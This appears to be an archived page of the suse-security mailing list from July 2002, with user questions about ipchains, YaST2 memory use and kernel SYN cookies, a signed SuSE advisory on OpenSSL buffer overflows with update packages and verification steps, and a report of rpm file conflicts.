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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBPUgN/ney5gA9JdPZAQE2IQf/RP2+1d+8YQT4+rurNmds103b49blDJ2e RCglPLv8Yv2nS+R9KmrlLO/73mShSLhZcny1VTXUp/uMbUU8CtOaAZGMl4Dl0BLD oT1j6vK8jO+OsBdlnJbN40liESsSkbRGidDr/5oHMLaBNeDiDUwGCefl+6Pnr5wX ydWNcQlbP89NQVOGIPwxKO/w/h5RGzKeXW858llVb3/eBAyHzvv6S4lyIIfKamCt xBH/VZnkraWdjRC8LuwS2UiejfJaUf9xcifSQ2VIZRJBiAVlXDT62mpj4UdnpYUO OWLkkt9fuA41jHEduE4jyvripIoXF1+1zRDQKqcgx4uMkWEhyNgl4w== =1wwQ -----END PGP SIGNATURE-----

5 6

Ipchains in SuSE 8.0
by Lindomar C. dos Santos 31 Jul '02

31 Jul '02

Hello all, Someone know how to run Ipchains in SuSE 8.0?, I know that it run in kernel 2.2.x, I installed the SuSE 8.0 and it is with kernel 2.4.18 How can I install kernel 2.2.x in SuSE 8 ??, but I should like to use my own script writen in 2.2 kernel sorry the mistakes, By Lindomar,

1 0

Yast2bignfat... says it all doesn't it ?
by Maarten J H van den Berg 31 Jul '02

31 Jul '02

Hi, I just tried -unsuccesfully- to update a 7.2 box with online-update when it started barfing, and eventually crashing on me. Upon retry I let a 'top' run alongside and it seems that yast2 / you is / was the culprit. I think the 'top' screendump below speaks for itself. Another minute and yast2 will have consumed all mem+swap. It's just luck the kernel didn't panic but killed yast2 instead. I understand that having 128 MB in a machine is not state-of-the-art nowadays, but come on, it's a firewall running named+sshd, nothing more. Do I have a corrupted install, or is this A) normal and B) unavoidable ? I realise this is somewhat out of place at suse-security, but since it directly concerns the online update facility, I posted here nonetheless. The updates concerned were apache, bzip(?) glibc and openssl. However, yast2 crashed before it could start updating glibc.* Oh, P.S.: I'd like to express my concern at the disappearance of Yast1 with Suse version 8. Yast2 is all very gooey and nice and stuff, but I can easily break my [TAB] key on my keyboard just trying to do anything with yast2 over a remote link. For instance, searching, selecting and installing 1 simple package with yast2 from the DVD takes at least 10-20 tab- events. Changing some things in the runlevel editor is so bad I cannot even start counting the seemingly endless tab-tab-tab-tab-space-tab-space-tab-space-tab-tab-tab-tab-tab- tab-tab-cursordown-tab-tab-tab-tab-space-tab-space-tab events... But yeah, this IS misplaced at this mailinglist... true... excuse me. Comments ? Greetings, Maarten 44 processes: 43 sleeping, 1 running, 0 zombie, 0 stopped CPU states: 0.6% user, 2.5% system, 0.0% nice, 96.7% idle Mem: 125224K av, 122276K used, 2948K free, 0K shrd, 2980K buff Swap: 136544K av, 135996K used, 548K free 18696K cached PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 9137 root 9 0 211M 84M 3572 S 0.0 69.1 2:42 y2bignfat 9138 root 9 0 211M 84M 3572 S 0.0 69.1 0:00 y2bignfat 9139 root 9 0 211M 84M 3572 S 0.0 69.1 0:03 y2bignfat 10693 root 17 0 5684 5684 516 D 1.1 4.5 0:00 rpm 9124 root 9 0 2420 1364 792 S 0.0 1.0 0:00 named 9125 root 9 0 2420 1364 792 S 0.0 1.0 0:00 named 9126 root 9 0 2420 1364 792 S 0.0 1.0 0:00 named 9127 root 9 0 2420 1364 792 S 0.0 1.0 0:00 named 9128 root 9 0 2420 1364 792 S 0.0 1.0 0:00 named 8858 maarten 12 0 552 504 492 R 1.0 0.4 0:14 top 8844 maarten 9 0 552 304 244 S 0.0 0.2 0:01 sshd 3581 maarten 9 0 552 292 224 S 0.0 0.2 0:01 sshd 835 root 9 0 248 204 180 S 0.0 0.1 0:14 syslogd 2893 root 9 0 212 164 132 S 0.0 0.1 0:00 cron -- This email has been scanned for the presence of computer viruses. Maarten J. H. van den Berg ~~//~~ network administrator VBVB - Amsterdam - The Netherlands - http://vbvb.nl T +31204233288 F +31204233286 G +31651994273

3 2

[suse-security] SuSE 7.3 kernel question
by Olson, John C 31 Jul '02

31 Jul '02

> Hello, > > An old issue was brought up to me today and I'd like to bounce if off of > you. Back in October (before I started with SuSE, there was apparently an > alert sent out (SuSE-SA:2001:036/9) regarding a problem with the kernel in > 7.3 with TCP SYN Cookies. It gives a workaround for it as well. I am > currently running SuSE certified 2.4.16 kernel and was wanting to verify > that the problem was resolved and the workaround is no longer needed. How > can I verify this? > > Thanks, > John

1 0

SuSE 7.3 kernel question
by Olson, John C 31 Jul '02

31 Jul '02

Hello, An old issue was brought up to me today and I'd like to bounce if off of you. Back in October (before I started with SuSE, there was apparently an alert sent out (SuSE-SA:2001:036/9) regarding a problem with the kernel in 7.3 with TCP SYN Cookies. It gives a workaround for it as well. I am currently running SuSE certified 2.4.16 kernel and was wanting to verify that the problem was resolved and the workaround is no longer needed. How can I verify this? > Thanks, > John

1 0

SuSE Security Announcement: openssl (SuSE-SA:2002:027)
by Roman Drahtmueller 31 Jul '02

31 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: openssl Announcement-ID: SuSE-SA:2002:027 Date: Tuesday, Jul 30th 2002 19:00 MEST Affected products: 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Database Server, SuSE eMail Server 3.1, SuSE Linux Enterprise Server, SuSE Linux Firewall on CD, SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: remote command execution Severity (1-10): 8 SuSE default package: yes Cross References: CAN-2002-0656, CAN-2002-0657, CAN-2002-0655, CERT Advisory CA-2002-23 Content of this advisory: 1) security vulnerability resolved: openssl problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The openssl package provides encryption functions and is used by many applications on SuSE products. Several buffer overflows have been discovered in the OpenSSL library affecting the SSL implementation, as well as a signedness issue in the ASN.1 decoding routines. In the SSL library, various blobs of data passed from the client to the server or vice versa were being copied to local buffers without checking their size. At least one overflow in the SSLv2 server code can be exploited by an attacker to gain access to the account under which the SSL enabled service is running. The other overflows happen in the SSL client code. The impact of this bug depends on the service using SSL. When attacking the Apache HTTP server with mod_ssl enabled, the perpetrator could gain access to the account "wwwrun". Attacking other services, such as the OpenLDAP slapd server, could even give the attacker access to the system's root account. Temporary workarounds for affected services include to disable the ssl functionality where this is possible. For ssl-enabled webservers, it is possible to temporarily disable SSLv2: Edit /etc/httpd/httpd.conf and add the following line to the mod_ssl configuration group: SSLProtocols all -SSLv2 This should be considered a temporary workaround only. Since the SSL client implementation is affected as well, and due to the potential impact of the ASN.1 signedness issues, we recommend that users who do not run SSL enabled services upgrade their openssl package as well. By consequence, we recommend all users to update their openssl package. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. SPECIAL INSTALL INSTRUCTIONS: ============================== After performing the package update, all services using the openssl libraries must be restarted for the update to become effective. This can be done by rebooting the server or by individually restarting the services in question manually. To find out which services use the openssl libraries, use the command fuser -v /usr/lib/libssl.so* /usr/lib/libcrypto.so* The ASN1 parser vulnerability was discovered by Adi Stav and James Yonan independently. We would like to express our gratitude to the openssl team for their work on the package and the fix for the vulnerability. Intel i386 Platform: SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-78.i386.rpm d68e8d7b95c8e08a26e8c43f8402dd9e ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-78.i386… 585843303f70fd248d7246255df67b04 ftp://ftp.suse.com/pub/suse/i386/update/8.0/doc4/openssl-doc-0.9.6c-78.i386… 26a7ccff8ed167f6b75e8fe3fa8dd9f6 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-78.src.rpm f79da5c72786b565d3c974bc3c99fd96 SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec1/openssl-0.9.6b-147.i386.rpm d561da0a81b4c2672489af60c5dd8370 ftp://ftp.suse.com/pub/suse/i386/update/7.3/d2/openssl-devel-0.9.6b-147.i38… 9a1bab09eeb257ac3431b3f59c7b6505 ftp://ftp.suse.com/pub/suse/i386/update/7.3/doc3/openssl-doc-0.9.6b-147.i38… f7c835278bec7df2efd630ba3c3c813f source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssl-0.9.6b-147.src.rpm 2dc2b9e91159b9f31becb9e60b089216 SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec1/openssl-0.9.6a-63.i386.rpm 1e4e8c964ad7a199c79e01aab3df2f6f ftp://ftp.suse.com/pub/suse/i386/update/7.2/d2/openssl-devel-0.9.6a-63.i386… e8e751d8c712956a57285fb85a14c390 ftp://ftp.suse.com/pub/suse/i386/update/7.2/doc3/openssl-doc-0.9.6a-63.i386… 70ac1f005f8480a25b7ee5ef94e61582 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssl-0.9.6a-63.src.rpm da7631d06555e889fd21b36b521488c1 SuSE-7.1: ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec1/openssl-0.9.6a-63.i386.rpm 4d77c7121cc5e917ef1e2d3a6cfa3e02 ftp://ftp.suse.com/pub/suse/i386/update/7.1/d2/openssl-devel-0.9.6a-63.i386… ab1e29c72446bf452ec35ba033aa0411 ftp://ftp.suse.com/pub/suse/i386/update/7.1/doc3/openssl-doc-0.9.6a-63.i386… 0c1715237824236ce88011e9d63b16c0 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/openssl-0.9.6a-63.src.rpm 4300e98769f3e4743524b84c5d917148 SuSE-7.0: ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/openssl-0.9.5a-59.i386.rpm 609999f72998db65d514619271058c97 source rpm(s): ftp://ftp.suse.de/pub/suse/i386/update/7.0/zq1/openssl-0.9.5a-59.src.rpm 313bc5e55757dc36414d3962306fa1b8 Sparc Platform: The packages for the Sparc platform are being built by the time of the writing of this announcement and will be published without any delay. AXP Alpha Platform: The packages for the Alpha platform are being built by the time of the writing of this announcement and will be published without any delay. PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec1/openssl-0.9.6b-136.ppc.rpm 13c3473cea153733d903c7bc787f2570 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/d2/openssl-devel-0.9.6b-136.ppc.… 9d7dc120b55d29df6cb94c0930dfda1c ftp://ftp.suse.com/pub/suse/ppc/update/7.3/doc3/openssl-doc-0.9.6b-136.ppc.… 29f3db701df227c5f06de28b681c49dc source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssl-0.9.6b-136.src.rpm deedc21663128548d830bf9c24c70add SuSE-7.1: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec1/openssl-0.9.6a-23.ppc.rpm c7342fc2aced5e38c4cea73bc9012715 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/d2/openssl-devel-0.9.6a-23.ppc.r… ea0bc83b56fc373734aed4314a52babb ftp://ftp.suse.com/pub/suse/ppc/update/7.1/doc3/openssl-doc-0.9.6a-23.ppc.r… 33db969774904ce36a4d79a69af4c85a source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/openssl-0.9.6a-23.src.rpm f0c1fc2a70e453731d19378f8f1ba351 SuSE-7.0: ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/openssl-0.9.5a-8.ppc.rpm 0b839d3c13e0250eeb16728ba2ed2354 source rpm(s): ftp://ftp.suse.de/pub/suse/ppc/update/7.0/zq1/openssl-0.9.5a-8.src.rpm e2837b523654fc7ac73c1b94e2627c60 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - chfn/util-linux Linux distributors have published security announcements about password locking race conditions that lead to a local root vulnerability. SuSE products are not affected by this weakness because we use the user/group management utilities from the shadow package. These utilities are not affected. - mod_ssl An off-by-one buffer overflow in the mod_ssl apache module is subject to an upcoming SuSE Security announcement, following this announcement. The upcoming announcement also treats a temporary file handling problem that has been discovered by Markus Meissner and Sebastian Krahmer, SuSE Security. - libpng libpng is a library that provides functions for applications to handle PNG image files (Portable Network Graphics). An overflow vulnerability has been found in the libpng library that may make it possible for an attacker to run arbitrary code or to crash an application that uses the libpng library if the application in question opens a png image file. We are in the process of fixing this vulnerability. - wwwoffle (World Wide Web Offline Explorer) wwwoffle fails to handle negative Content-Length values correctly. It is believed that an attacker can exploit this bug to gain remote access to the system running wwwoffle. We are working on update packages against this problem. - mod_php4-4.2* Security vulnerabilities have been found in php versions 4.2.0 and 4.2.1. SuSE systems are not affected because these systems use older versions of the php package. - The SuSE Linux 6.4 distribution has been announced to be discontinued in June. We have now moved the update directories for all architectures to the discontinued directory on our ftp server to indicate that no more updates will be made for this distribution. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SuSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- - -- - - | Roman Drahtmüller <draht(a)suse.de> // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | Nürnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBPUbKnXey5gA9JdPZAQGxNQf/fZVYTkLusuIELRqM1QnR32LD9Zy7HLJd 5H8VLj5lNMwukMArOMSehIwhH8+N7oJgqrSd/qk70KyrFDpUcbHy6PWWJxLPmPbL +A2TW3gzHUOmY3TVgCTT5FaeyM6DfQ5hyEx9Cz4urQJTbUIxDV1kjaxBd/9oN3qz 2gfMELRmokmL67e01+IJxvFSz4BgxI5WneiVWhZMoq4yUGA7bcbf28ctovdxzSaQ 0azfU9fu2epZpmFfSCfXgWEItCD9MpzxgBrJhZ9mM4dGtdQfB8NKctgUZVT5X6U5 YAPRGqHVolcnv3Ig/dNFv3FHfKgriIxAOtpGf5S1ucrQzApSDCiU4w== =z8ZM -----END PGP SIGNATURE-----

10 12

SuSE 7.1: openssl-doc-0.9.6a-63.i386.rpm does not apply cleanly
by Alan Hadsell 31 Jul '02

31 Jul '02

When I try to apply the updates from yesterday, I get this: ,---- | # rpm -Fvh openssl-doc-0.9.6a-63.i386.rpm | file /usr/share/man/man3/rand.3.gz from install of openssl-doc-0.9.6a-63 conflicts with file from package man-pages-1.34-2 | file /usr/share/man/man1/passwd.1.gz from install of openssl-doc-0.9.6a-63 conflicts with file from package shadow-20000902-145 | # `---- It looks like either these are duplicate files, or they've been moved from one package to another. -- Alan Hadsell If brute force doesn't work, you aren't using enough.

2 1

SSL, apache and SuSE7.0
by ic_admin 31 Jul '02

31 Jul '02

